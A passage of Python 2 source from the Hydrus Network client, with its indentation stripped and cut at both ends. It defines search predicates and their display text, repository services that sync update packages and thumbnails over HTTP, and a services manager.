tags_to_add_here = parents_manager.ExpandTags( service_key, tags_to_add_here )
service_keys_to_tags[ service_key ].update( tags_to_add_here )
for ( service_key, explicit_tags ) in self._service_keys_to_explicit_tags.items():
tags_to_add_here = HydrusTags.CleanTags( explicit_tags )
if len( tags_to_add_here ) > 0:
tags_to_add_here = siblings_manager.CollapseTags( tags_to_add_here )
tags_to_add_here = parents_manager.ExpandTags( service_key, tags_to_add_here )
service_keys_to_tags[ service_key ].update( tags_to_add_here )
service_keys_to_content_updates = ConvertServiceKeysToTagsToServiceKeysToContentUpdates( { hash }, service_keys_to_tags )
return service_keys_to_content_updates
def ShouldFetchTags( self ):
i_am_interested_in_namespaces = len( self._service_keys_to_namespaces ) > 0
return i_am_interested_in_namespaces
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_IMPORT_TAG_OPTIONS ] = ImportTagOptions
class Predicate( HydrusSerialisable.SerialisableBase ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_PREDICATE
SERIALISABLE_VERSION = 1
def __init__( self, predicate_type = None, value = None, inclusive = True, counts = None ):
if counts is None: counts = {}
if type( value ) == list:
value = tuple( value )
self._predicate_type = predicate_type
self._value = value
self._inclusive = inclusive
self._counts = {}
self._counts[ HC.CURRENT ] = 0
self._counts[ HC.PENDING ] = 0
for ( current_or_pending, count ) in counts.items(): self.AddToCount( current_or_pending, count )
def __eq__( self, other ):
return self.__hash__() == other.__hash__()
def __hash__( self ):
return ( self._predicate_type, self._value ).__hash__()
def __ne__( self, other ):
return self.__hash__() != other.__hash__()
def __repr__( self ):
return 'Predicate: ' + HydrusData.ToUnicode( ( self._predicate_type, self._value, self._counts ) )
def _GetSerialisableInfo( self ):
if self._predicate_type in ( HC.PREDICATE_TYPE_SYSTEM_RATING, HC.PREDICATE_TYPE_SYSTEM_FILE_SERVICE ):
( operator, value, service_key ) = self._value
serialisable_value = ( operator, value, service_key.encode( 'hex' ) )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIMILAR_TO:
( hash, max_hamming ) = self._value
serialisable_value = ( hash.encode( 'hex' ), max_hamming )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_HASH:
hash = self._value
serialisable_value = hash.encode( 'hex' )
else:
serialisable_value = self._value
return ( self._predicate_type, serialisable_value, self._inclusive )
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
( self._predicate_type, serialisable_value, self._inclusive ) = serialisable_info
if self._predicate_type in ( HC.PREDICATE_TYPE_SYSTEM_RATING, HC.PREDICATE_TYPE_SYSTEM_FILE_SERVICE ):
( operator, value, service_key ) = serialisable_value
self._value = ( operator, value, service_key.decode( 'hex' ) )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIMILAR_TO:
( serialisable_hash, max_hamming ) = serialisable_value
self._value = ( serialisable_hash.decode( 'hex' ), max_hamming )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_HASH:
self._value = serialisable_value.decode( 'hex' )
else:
self._value = serialisable_value
if type( self._value ) == list:
self._value = tuple( self._value )
def AddToCount( self, current_or_pending, count ): self._counts[ current_or_pending ] += count
def GetCopy( self ): return Predicate( self._predicate_type, self._value, self._inclusive, self._counts )
def GetCountlessCopy( self ): return Predicate( self._predicate_type, self._value, self._inclusive )
def GetCount( self, current_or_pending = None ):
if current_or_pending is None: return sum( self._counts.values() )
else: return self._counts[ current_or_pending ]
def GetInclusive( self ):
# patch from an upgrade mess-up ~v144
if not hasattr( self, '_inclusive' ):
if self._predicate_type not in HC.SYSTEM_PREDICATES:
( operator, value ) = self._value
self._value = value
self._inclusive = operator == '+'
else: self._inclusive = True
return self._inclusive
def GetInfo( self ): return ( self._predicate_type, self._value, self._inclusive )
def GetType( self ): return self._predicate_type
def GetUnicode( self, with_count = True ):
count_text = u''
if with_count:
if self._counts[ HC.CURRENT ] > 0: count_text += u' (' + HydrusData.ConvertIntToPrettyString( self._counts[ HC.CURRENT ] ) + u')'
if self._counts[ HC.PENDING ] > 0: count_text += u' (+' + HydrusData.ConvertIntToPrettyString( self._counts[ HC.PENDING ] ) + u')'
if self._predicate_type in HC.SYSTEM_PREDICATES:
if self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_EVERYTHING: base = u'system:everything'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_INBOX: base = u'system:inbox'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_ARCHIVE: base = u'system:archive'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_UNTAGGED: base = u'system:untagged'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_LOCAL: base = u'system:local'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_NOT_LOCAL: base = u'system:not local'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_DIMENSIONS: base = u'system:dimensions'
elif self._predicate_type in ( HC.PREDICATE_TYPE_SYSTEM_NUM_TAGS, HC.PREDICATE_TYPE_SYSTEM_WIDTH, HC.PREDICATE_TYPE_SYSTEM_HEIGHT, HC.PREDICATE_TYPE_SYSTEM_DURATION, HC.PREDICATE_TYPE_SYSTEM_NUM_WORDS ):
if self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_TAGS: base = u'system:number of tags'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_WIDTH: base = u'system:width'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_HEIGHT: base = u'system:height'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_DURATION: base = u'system:duration'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_WORDS: base = u'system:number of words'
if self._value is not None:
( operator, value ) = self._value
base += u' ' + operator + u' ' + HydrusData.ConvertIntToPrettyString( value )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_RATIO:
base = u'system:ratio'
if self._value is not None:
( operator, ratio_width, ratio_height ) = self._value
base += u' ' + operator + u' ' + str( ratio_width ) + u':' + str( ratio_height )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIZE:
base = u'system:size'
if self._value is not None:
( operator, size, unit ) = self._value
base += u' ' + operator + u' ' + str( size ) + HydrusData.ConvertIntToUnit( unit )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_LIMIT:
base = u'system:limit'
if self._value is not None:
value = self._value
base += u' is ' + HydrusData.ConvertIntToPrettyString( value )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_AGE:
base = u'system:age'
if self._value is not None:
( operator, years, months, days, hours ) = self._value
base += u' ' + operator + u' ' + str( years ) + u'y' + str( months ) + u'm' + str( days ) + u'd' + str( hours ) + u'h'
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_NUM_PIXELS:
base = u'system:num_pixels'
if self._value is not None:
( operator, num_pixels, unit ) = self._value
base += u' ' + operator + u' ' + str( num_pixels ) + ' ' + HydrusData.ConvertIntToPixels( unit )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_HASH:
base = u'system:hash'
if self._value is not None:
hash = self._value
base += u' is ' + hash.encode( 'hex' )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_MIME:
base = u'system:mime'
if self._value is not None:
mimes = self._value
if set( mimes ) == set( HC.SEARCHABLE_MIMES ):
mime_text = 'anything'
elif set( mimes ) == set( HC.SEARCHABLE_MIMES ).intersection( set( HC.APPLICATIONS ) ):
mime_text = 'application'
elif set( mimes ) == set( HC.SEARCHABLE_MIMES ).intersection( set( HC.AUDIO ) ):
mime_text = 'audio'
elif set( mimes ) == set( HC.SEARCHABLE_MIMES ).intersection( set( HC.IMAGES ) ):
mime_text = 'image'
elif set( mimes ) == set( HC.SEARCHABLE_MIMES ).intersection( set( HC.VIDEO ) ):
mime_text = 'video'
else:
mime_text = ', '.join( [ HC.mime_string_lookup[ mime ] for mime in mimes ] )
base += u' is ' + mime_text
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_RATING:
base = u'system:rating'
if self._value is not None:
( operator, value, service_key ) = self._value
service = HydrusGlobals.client_controller.GetServicesManager().GetService( service_key )
base += u' for ' + service.GetName() + u' ' + operator + u' ' + HydrusData.ToUnicode( value )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_SIMILAR_TO:
base = u'system:similar to'
if self._value is not None:
( hash, max_hamming ) = self._value
base += u' ' + hash.encode( 'hex' ) + u' using max hamming of ' + str( max_hamming )
elif self._predicate_type == HC.PREDICATE_TYPE_SYSTEM_FILE_SERVICE:
base = u'system:'
if self._value is None:
base += 'file service'
else:
( operator, current_or_pending, service_key ) = self._value
if operator == True: base += u'is'
else: base += u'is not'
if current_or_pending == HC.PENDING: base += u' pending to '
else: base += u' currently in '
service = HydrusGlobals.client_controller.GetServicesManager().GetService( service_key )
base += service.GetName()
base += count_text
elif self._predicate_type == HC.PREDICATE_TYPE_TAG:
tag = self._value
if not self._inclusive: base = u'-'
else: base = u''
base += tag
base += count_text
siblings_manager = HydrusGlobals.client_controller.GetManager( 'tag_siblings' )
sibling = siblings_manager.GetSibling( tag )
if sibling is not None: base += u' (will display as ' + sibling + ')'
elif self._predicate_type == HC.PREDICATE_TYPE_PARENT:
base = ' '
tag = self._value
base += tag
base += count_text
elif self._predicate_type == HC.PREDICATE_TYPE_NAMESPACE:
namespace = self._value
if not self._inclusive: base = u'-'
else: base = u''
base += namespace + u':*anything*'
elif self._predicate_type == HC.PREDICATE_TYPE_WILDCARD:
wildcard = self._value
if not self._inclusive: base = u'-'
else: base = u''
base += wildcard
return base
def GetValue( self ): return self._value
def SetInclusive( self, inclusive ): self._inclusive = inclusive
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_PREDICATE ] = Predicate
class Service( HydrusData.HydrusYAMLBase ):
yaml_tag = u'!Service'
def __init__( self, service_key, service_type, name, info ):
HydrusData.HydrusYAMLBase.__init__( self )
self._service_key = service_key
self._service_type = service_type
self._name = name
self._info = info
self._lock = threading.Lock()
HydrusGlobals.client_controller.sub( self, 'ProcessServiceUpdates', 'service_updates_data' )
def __hash__( self ): return self._service_key.__hash__()
def _RecordHydrusBandwidth( self, method, command, data_used ):
if ( self._service_type, method, command ) in HC.BANDWIDTH_CONSUMING_REQUESTS:
HydrusGlobals.client_controller.pub( 'service_updates_delayed', { self._service_key : [ HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_REQUEST_MADE, data_used ) ] } )
def _ReportSyncProcessingError( self, path, error_text ):
text = 'While synchronising ' + self._name + ', the expected update file ' + path + ', ' + error_text + '.'
text += os.linesep * 2
text += 'The service has been indefinitely paused.'
text += os.linesep * 2
text += 'This is a serious error. Unless you know what went wrong, you should contact the developer.'
HydrusData.ShowText( text )
service_updates = [ HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_PAUSE ) ]
service_keys_to_service_updates = { self._service_key : service_updates }
self.ProcessServiceUpdates( service_keys_to_service_updates )
HydrusGlobals.client_controller.Write( 'service_updates', service_keys_to_service_updates )
def CanDownload( self ):
return self._info[ 'account' ].HasPermission( HC.GET_DATA ) and not self.HasRecentError()
def CanDownloadUpdate( self ):
update_due = HydrusData.TimeHasPassed( self._info[ 'next_download_timestamp' ] + HC.UPDATE_DURATION + 1800 )
return self.CanDownload() and update_due and not self.IsPaused()
def CanProcessUpdate( self ):
update_is_downloaded = self._info[ 'next_download_timestamp' ] > self._info[ 'next_processing_timestamp' ]
it_is_time = HydrusData.TimeHasPassed( self._info[ 'next_processing_timestamp' ] + HC.UPDATE_DURATION + HC.options[ 'processing_phase' ] )
return update_is_downloaded and it_is_time and not self.IsPaused()
def CanUpload( self ): return self._info[ 'account' ].HasPermission( HC.POST_DATA ) and not self.HasRecentError()
def GetCredentials( self ):
host = self._info[ 'host' ]
port = self._info[ 'port' ]
if 'access_key' in self._info: access_key = self._info[ 'access_key' ]
else: access_key = None
credentials = Credentials( host, port, access_key )
return credentials
def GetInfo( self, key = None ):
if key is None: return self._info
else: return self._info[ key ]
def GetServiceKey( self ): return self._service_key
def GetName( self ): return self._name
def GetRecentErrorPending( self ):
if 'account' in self._info and self._info[ 'account' ].HasPermission( HC.GENERAL_ADMIN ): return HydrusData.ConvertTimestampToPrettyPending( self._info[ 'last_error' ] + 600 )
else: return HydrusData.ConvertTimestampToPrettyPending( self._info[ 'last_error' ] + 3600 * 4 )
def GetServiceType( self ): return self._service_type
def GetTimestamps( self ): return ( self._info[ 'first_timestamp' ], self._info[ 'next_download_timestamp' ], self._info[ 'next_processing_timestamp' ] )
def GetUpdateStatus( self ):
account = self._info[ 'account' ]
now = HydrusData.GetNow()
first_timestamp = self._info[ 'first_timestamp' ]
next_download_timestamp = self._info[ 'next_download_timestamp' ]
next_processing_timestamp = self._info[ 'next_processing_timestamp' ]
if first_timestamp is None:
num_updates = 0
num_updates_downloaded = 0
num_updates_processed = 0
else:
num_updates = ( now - first_timestamp ) / HC.UPDATE_DURATION
num_updates_downloaded = ( next_download_timestamp - first_timestamp ) / HC.UPDATE_DURATION
num_updates_processed = max( 0, ( next_processing_timestamp - first_timestamp ) / HC.UPDATE_DURATION )
downloaded_text = 'downloaded ' + HydrusData.ConvertValueRangeToPrettyString( num_updates_downloaded, num_updates )
processed_text = 'processed ' + HydrusData.ConvertValueRangeToPrettyString( num_updates_processed, num_updates )
if self.IsPaused() or not self._info[ 'account' ].HasPermission( HC.GET_DATA ): status = 'updates on hold'
else:
if self.CanDownloadUpdate(): status = 'downloaded up to ' + HydrusData.ConvertTimestampToPrettySync( self._info[ 'next_download_timestamp' ] )
elif self.CanProcessUpdate(): status = 'processed up to ' + HydrusData.ConvertTimestampToPrettySync( self._info[ 'next_processing_timestamp' ] )
elif self.HasRecentError(): status = 'due to a previous error, update is delayed - next check ' + self.GetRecentErrorPending()
else:
if HydrusData.TimeHasPassed( self._info[ 'next_download_timestamp' ] + HC.UPDATE_DURATION ):
status = 'next update will be downloaded soon'
else:
status = 'fully synchronised - next update ' + HydrusData.ConvertTimestampToPrettyPending( self._info[ 'next_download_timestamp' ] + HC.UPDATE_DURATION + 1800 )
return downloaded_text + ' - ' + processed_text + ' - ' + status
def HasRecentError( self ):
if 'account' in self._info and self._info[ 'account' ].HasPermission( HC.GENERAL_ADMIN ): return self._info[ 'last_error' ] + 900 > HydrusData.GetNow()
else: return self._info[ 'last_error' ] + 3600 * 4 > HydrusData.GetNow()
def IsInitialised( self ):
if self._service_type == HC.SERVER_ADMIN: return 'access_key' in self._info
else: return True
def IsPaused( self ): return self._info[ 'paused' ]
def ProcessServiceUpdates( self, service_keys_to_service_updates ):
for ( service_key, service_updates ) in service_keys_to_service_updates.items():
for service_update in service_updates:
if service_key == self._service_key:
( action, row ) = service_update.ToTuple()
if action == HC.SERVICE_UPDATE_ERROR: self._info[ 'last_error' ] = HydrusData.GetNow()
elif action == HC.SERVICE_UPDATE_RESET:
self._info[ 'last_error' ] = 0
if 'next_processing_timestamp' in self._info: self._info[ 'next_processing_timestamp' ] = 0
elif action == HC.SERVICE_UPDATE_ACCOUNT:
account = row
self._info[ 'account' ] = account
self._info[ 'last_error' ] = 0
elif action == HC.SERVICE_UPDATE_REQUEST_MADE:
num_bytes = row
if self._service_type == HC.LOCAL_BOORU:
self._info[ 'used_monthly_data' ] += num_bytes
self._info[ 'used_monthly_requests' ] += 1
else: self._info[ 'account' ].RequestMade( num_bytes )
elif action == HC.SERVICE_UPDATE_NEXT_DOWNLOAD_TIMESTAMP:
next_download_timestamp = row
if next_download_timestamp > self._info[ 'next_download_timestamp' ]:
if self._info[ 'first_timestamp' ] is None: self._info[ 'first_timestamp' ] = next_download_timestamp
self._info[ 'next_download_timestamp' ] = next_download_timestamp
elif action == HC.SERVICE_UPDATE_NEXT_PROCESSING_TIMESTAMP:
next_processing_timestamp = row
if next_processing_timestamp > self._info[ 'next_processing_timestamp' ]:
self._info[ 'next_processing_timestamp' ] = next_processing_timestamp
elif action == HC.SERVICE_UPDATE_PAUSE:
self._info[ 'paused' ] = True
def Request( self, method, command, request_args = None, request_headers = None, report_hooks = None, temp_path = None, return_cookies = False ):
if request_args is None: request_args = {}
if request_headers is None: request_headers = {}
if report_hooks is None: report_hooks = []
try:
credentials = self.GetCredentials()
if command in ( 'access_key', 'init', '' ):
pass
elif command in ( 'session_key', 'access_key_verification' ):
ClientNetworking.AddHydrusCredentialsToHeaders( credentials, request_headers )
else:
ClientNetworking.AddHydrusSessionKeyToHeaders( self._service_key, request_headers )
path = '/' + command
if method == HC.GET:
query = ClientNetworking.ConvertHydrusGETArgsToQuery( request_args )
body = ''
elif method == HC.POST:
query = ''
if command == 'file':
content_type = HC.APPLICATION_OCTET_STREAM
body = request_args[ 'file' ]
del request_args[ 'file' ]
else:
if isinstance( request_args, HydrusSerialisable.SerialisableDictionary ):
content_type = HC.APPLICATION_JSON
body = request_args.DumpToNetworkString()
else:
content_type = HC.APPLICATION_YAML
body = yaml.safe_dump( request_args )
request_headers[ 'Content-Type' ] = HC.mime_string_lookup[ content_type ]
if query != '': path_and_query = path + '?' + query
else: path_and_query = path
( host, port ) = credentials.GetAddress()
url = 'http://' + host + ':' + str( port ) + path_and_query
( response, size_of_response, response_headers, cookies ) = HydrusGlobals.client_controller.DoHTTP( method, url, request_headers, body, report_hooks = report_hooks, temp_path = temp_path, return_everything = True )
ClientNetworking.CheckHydrusVersion( self._service_key, self._service_type, response_headers )
if method == HC.GET: data_used = size_of_response
elif method == HC.POST: data_used = len( body )
self._RecordHydrusBandwidth( method, command, data_used )
if return_cookies: return ( response, cookies )
else: return response
except Exception as e:
if not isinstance( e, HydrusExceptions.ServerBusyException ):
if isinstance( e, HydrusExceptions.SessionException ):
session_manager = HydrusGlobals.client_controller.GetManager( 'hydrus_sessions' )
session_manager.DeleteSessionKey( self._service_key )
HydrusGlobals.client_controller.Write( 'service_updates', { self._service_key : [ HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_ERROR, HydrusData.ToUnicode( e ) ) ] } )
if isinstance( e, HydrusExceptions.PermissionException ):
if 'account' in self._info:
account_key = self._info[ 'account' ].GetAccountKey()
unknown_account = HydrusData.GetUnknownAccount( account_key )
else: unknown_account = HydrusData.GetUnknownAccount()
HydrusGlobals.client_controller.Write( 'service_updates', { self._service_key : [ HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_ACCOUNT, unknown_account ) ] } )
raise
def SetCredentials( self, credentials ):
( host, port ) = credentials.GetAddress()
self._info[ 'host' ] = host
self._info[ 'port' ] = port
if credentials.HasAccessKey(): self._info[ 'access_key' ] = credentials.GetAccessKey()
def Sync( self, only_when_idle = False, stop_time = None ):
job_key = HydrusThreading.JobKey( pausable = False, cancellable = True )
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
return
if self._info[ 'paused' ]:
return
if not self.CanDownloadUpdate() and not self.CanProcessUpdate():
return
num_updates_downloaded = 0
num_updates_processed = 0
total_content_weight_processed = 0
try:
options = HydrusGlobals.client_controller.GetOptions()
HydrusGlobals.client_controller.pub( 'splash_set_title_text', self._name )
job_key.SetVariable( 'popup_title', 'repository synchronisation - ' + self._name )
HydrusGlobals.client_controller.pub( 'message', job_key )
try:
while self.CanDownloadUpdate():
if only_when_idle:
if not HydrusGlobals.client_controller.CurrentlyIdle():
break
else:
if stop_time is not None and HydrusData.TimeHasPassed( stop_time ):
break
if options[ 'pause_repo_sync' ]:
break
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
break
if self._info[ 'first_timestamp' ] is None:
gauge_range = None
gauge_value = 0
update_index_string = 'initial update: '
else:
gauge_range = ( ( HydrusData.GetNow() - self._info[ 'first_timestamp' ] ) / HC.UPDATE_DURATION ) + 1
gauge_value = ( ( self._info[ 'next_download_timestamp' ] - self._info[ 'first_timestamp' ] ) / HC.UPDATE_DURATION ) + 1
update_index_string = 'update ' + HydrusData.ConvertValueRangeToPrettyString( gauge_value, gauge_range ) + ': '
subupdate_index_string = 'service update: '
HydrusGlobals.client_controller.pub( 'splash_set_title_text', self._name + ' - ' + update_index_string + subupdate_index_string )
HydrusGlobals.client_controller.pub( 'splash_set_status_text', 'downloading' )
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'downloading and parsing' )
job_key.SetVariable( 'popup_gauge_1', ( gauge_value, gauge_range ) )
service_update_package = self.Request( HC.GET, 'service_update_package', { 'begin' : self._info[ 'next_download_timestamp' ] } )
begin = service_update_package.GetBegin()
subindex_count = service_update_package.GetSubindexCount()
for subindex in range( subindex_count ):
path = ClientFiles.GetExpectedContentUpdatePackagePath( self._service_key, begin, subindex )
if os.path.exists( path ):
info = os.lstat( path )
size = info[6]
if size == 0:
os.remove( path )
if not os.path.exists( path ):
subupdate_index_string = 'content update ' + HydrusData.ConvertValueRangeToPrettyString( subindex + 1, subindex_count ) + ': '
HydrusGlobals.client_controller.pub( 'splash_set_title_text', self._name + ' - ' + update_index_string + subupdate_index_string )
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'downloading and parsing' )
content_update_package = self.Request( HC.GET, 'content_update_package', { 'begin' : begin, 'subindex' : subindex } )
obj_string = content_update_package.DumpToString()
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'saving to disk' )
with open( path, 'wb' ) as f: f.write( obj_string )
job_key.SetVariable( 'popup_text_1', update_index_string + 'committing' )
path = ClientFiles.GetExpectedServiceUpdatePackagePath( self._service_key, begin )
obj_string = service_update_package.DumpToString()
with open( path, 'wb' ) as f: f.write( obj_string )
service_updates = [ HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_NEXT_DOWNLOAD_TIMESTAMP, service_update_package.GetNextBegin() ) ]
service_keys_to_service_updates = { self._service_key : service_updates }
self.ProcessServiceUpdates( service_keys_to_service_updates )
HydrusGlobals.client_controller.Write( 'service_updates', service_keys_to_service_updates )
HydrusGlobals.client_controller.WaitUntilPubSubsEmpty()
num_updates_downloaded += 1
except Exception as e:
if 'Could not connect' in str( e ):
job_key.SetVariable( 'popup_text_1', 'Could not connect to service, will continue with processing.' )
time.sleep( 5 )
else:
raise e
while self.CanProcessUpdate():
if only_when_idle:
if not HydrusGlobals.client_controller.CurrentlyIdle():
break
else:
if stop_time is not None and HydrusData.TimeHasPassed( stop_time ):
break
if options[ 'pause_repo_sync' ]:
break
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
break
gauge_range = ( ( HydrusData.GetNow() - self._info[ 'first_timestamp' ] ) / HC.UPDATE_DURATION ) + 1
gauge_value = ( ( self._info[ 'next_processing_timestamp' ] - self._info[ 'first_timestamp' ] ) / HC.UPDATE_DURATION ) + 1
update_index_string = 'update ' + HydrusData.ConvertValueRangeToPrettyString( gauge_value, gauge_range ) + ': '
subupdate_index_string = 'service update: '
HydrusGlobals.client_controller.pub( 'splash_set_title_text', self._name + ' - ' + update_index_string + subupdate_index_string )
HydrusGlobals.client_controller.pub( 'splash_set_status_text', 'processing' )
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'loading from disk' )
job_key.SetVariable( 'popup_gauge_1', ( gauge_value, gauge_range ) )
path = ClientFiles.GetExpectedServiceUpdatePackagePath( self._service_key, self._info[ 'next_processing_timestamp' ] )
if not os.path.exists( path ):
self._ReportSyncProcessingError( path, 'was missing' )
return
with open( path, 'rb' ) as f: obj_string = f.read()
try:
service_update_package = HydrusSerialisable.CreateFromString( obj_string )
except:
self._ReportSyncProcessingError( path, 'did not parse' )
return
subindex_count = service_update_package.GetSubindexCount()
processing_went_ok = True
for subindex in range( subindex_count ):
if only_when_idle:
if not HydrusGlobals.client_controller.CurrentlyIdle():
break
else:
if stop_time is not None and HydrusData.TimeHasPassed( stop_time ):
break
if options[ 'pause_repo_sync' ]:
break
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
break
subupdate_index_string = 'content update ' + HydrusData.ConvertValueRangeToPrettyString( subindex + 1, subindex_count ) + ': '
path = ClientFiles.GetExpectedContentUpdatePackagePath( self._service_key, self._info[ 'next_processing_timestamp' ], subindex )
if not os.path.exists( path ):
self._ReportSyncProcessingError( path, 'was missing' )
return
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'loading from disk' )
with open( path, 'rb' ) as f: obj_string = f.read()
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'parsing' )
try:
content_update_package = HydrusSerialisable.CreateFromString( obj_string )
except:
self._ReportSyncProcessingError( path, 'did not parse' )
return
HydrusGlobals.client_controller.pub( 'splash_set_title_text', self._name + ' - ' + update_index_string + subupdate_index_string )
job_key.SetVariable( 'popup_text_1', update_index_string + subupdate_index_string + 'processing' )
( did_it_all, c_u_p_weight_processed ) = HydrusGlobals.client_controller.WriteSynchronous( 'content_update_package', self._service_key, content_update_package, job_key, only_when_idle )
total_content_weight_processed += c_u_p_weight_processed
if not did_it_all:
processing_went_ok = False
break
HydrusGlobals.client_controller.WaitUntilPubSubsEmpty()
if options[ 'pause_repo_sync' ]:
break
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
break
if processing_went_ok:
job_key.SetVariable( 'popup_text_2', 'committing service updates' )
service_updates = [ service_update for service_update in service_update_package.IterateServiceUpdates() ]
service_updates.append( HydrusData.ServiceUpdate( HC.SERVICE_UPDATE_NEXT_PROCESSING_TIMESTAMP, service_update_package.GetNextBegin() ) )
service_keys_to_service_updates = { self._service_key : service_updates }
self.ProcessServiceUpdates( service_keys_to_service_updates )
HydrusGlobals.client_controller.Write( 'service_updates', service_keys_to_service_updates )
HydrusGlobals.client_controller.pub( 'notify_new_pending' )
HydrusGlobals.client_controller.WaitUntilPubSubsEmpty()
job_key.SetVariable( 'popup_gauge_2', ( 0, 1 ) )
job_key.SetVariable( 'popup_text_2', '' )
num_updates_processed += 1
time.sleep( 0.1 )
job_key.DeleteVariable( 'popup_gauge_1' )
job_key.DeleteVariable( 'popup_text_2' )
job_key.DeleteVariable( 'popup_gauge_2' )
if self._service_type == HC.FILE_REPOSITORY and self.CanDownload():
HydrusGlobals.client_controller.pub( 'splash_set_status_text', 'reviewing thumbnails' )
job_key.SetVariable( 'popup_text_1', 'reviewing existing thumbnails' )
thumbnail_hashes_i_have = ClientFiles.GetAllThumbnailHashes()
job_key.SetVariable( 'popup_text_1', 'reviewing service thumbnails' )
thumbnail_hashes_i_should_have = HydrusGlobals.client_controller.Read( 'thumbnail_hashes_i_should_have', self._service_key )
thumbnail_hashes_i_need = thumbnail_hashes_i_should_have.difference( thumbnail_hashes_i_have )
if len( thumbnail_hashes_i_need ) > 0:
def SaveThumbnails( batch_of_thumbnails ):
job_key.SetVariable( 'popup_text_1', 'saving thumbnails to database' )
HydrusGlobals.client_controller.WriteSynchronous( 'thumbnails', batch_of_thumbnails )
HydrusGlobals.client_controller.pub( 'add_thumbnail_count', self._service_key, len( batch_of_thumbnails ) )
thumbnails = []
for ( i, hash ) in enumerate( thumbnail_hashes_i_need ):
if options[ 'pause_repo_sync' ]:
break
( i_paused, should_quit ) = job_key.WaitIfNeeded()
if should_quit:
break
job_key.SetVariable( 'popup_text_1', 'downloading thumbnail ' + HydrusData.ConvertValueRangeToPrettyString( i, len( thumbnail_hashes_i_need ) ) )
job_key.SetVariable( 'popup_gauge_1', ( i, len( thumbnail_hashes_i_need ) ) )
request_args = { 'hash' : hash.encode( 'hex' ) }
thumbnail = self.Request( HC.GET, 'thumbnail', request_args = request_args )
thumbnails.append( ( hash, thumbnail ) )
if i % 50 == 0:
SaveThumbnails( thumbnails )
thumbnails = []
HydrusGlobals.client_controller.WaitUntilPubSubsEmpty()
if len( thumbnails ) > 0: SaveThumbnails( thumbnails )
job_key.DeleteVariable( 'popup_gauge_1' )
HydrusGlobals.client_controller.pub( 'splash_set_status_text', '' )
job_key.SetVariable( 'popup_title', 'repository synchronisation - ' + self._name + ' - finished' )
updates_text = HydrusData.ConvertIntToPrettyString( num_updates_downloaded ) + ' updates downloaded, ' + HydrusData.ConvertIntToPrettyString( num_updates_processed ) + ' updates processed'
if self._service_type == HC.TAG_REPOSITORY: content_text = HydrusData.ConvertIntToPrettyString( total_content_weight_processed ) + ' mappings added'
elif self._service_type == HC.FILE_REPOSITORY: content_text = HydrusData.ConvertIntToPrettyString( total_content_weight_processed ) + ' files added'
job_key.SetVariable( 'popup_text_1', updates_text + ', and ' + content_text )
print( job_key.ToString() )
time.sleep( 3 )
job_key.Delete()
except Exception as e:
job_key.Cancel()
print( traceback.format_exc() )
HydrusData.ShowText( 'Failed to update ' + self._name + ':' )
HydrusData.ShowException( e )
time.sleep( 3 )
def ToTuple( self ): return ( self._service_key, self._service_type, self._name, self._info )
class ServicesManager( object ):
def __init__( self ):
self._lock = threading.Lock()
self._keys_to_services = {}
self._services_sorted = []
self.RefreshServices()
HydrusGlobals.client_controller.sub( self, 'RefreshServices', 'notify_new_services_data' )
def GetService( self, service_key ):
with self._lock:
try: return self._keys_to_services[ service_key ]
except KeyError: raise HydrusExceptions.NotFoundException( 'That service was not found!' )
def GetServices( self, types = HC.ALL_SERVICES ):
with self._lock: return [ service for service in self._services_sorted if service.GetServiceType() in types ]
def RefreshServices( self ):
with self._lock:
services = HydrusGlobals.client_controller.Read( 'services' )
self._keys_to_services = { service.GetServiceKey() : service for service in services }
compare_function = lambda a, b: cmp( a.GetName(), b.GetName() )
self._services_sorted = list( services )
self._services_sorted.sort( cmp = compare_function )
class Shortcuts( HydrusSerialisable.SerialisableBaseNamed ):
SERIALISABLE_TYPE = HydrusSerialisable.SERIALISABLE_TYPE_SHORTCUTS
SERIALISABLE_VERSION = 1
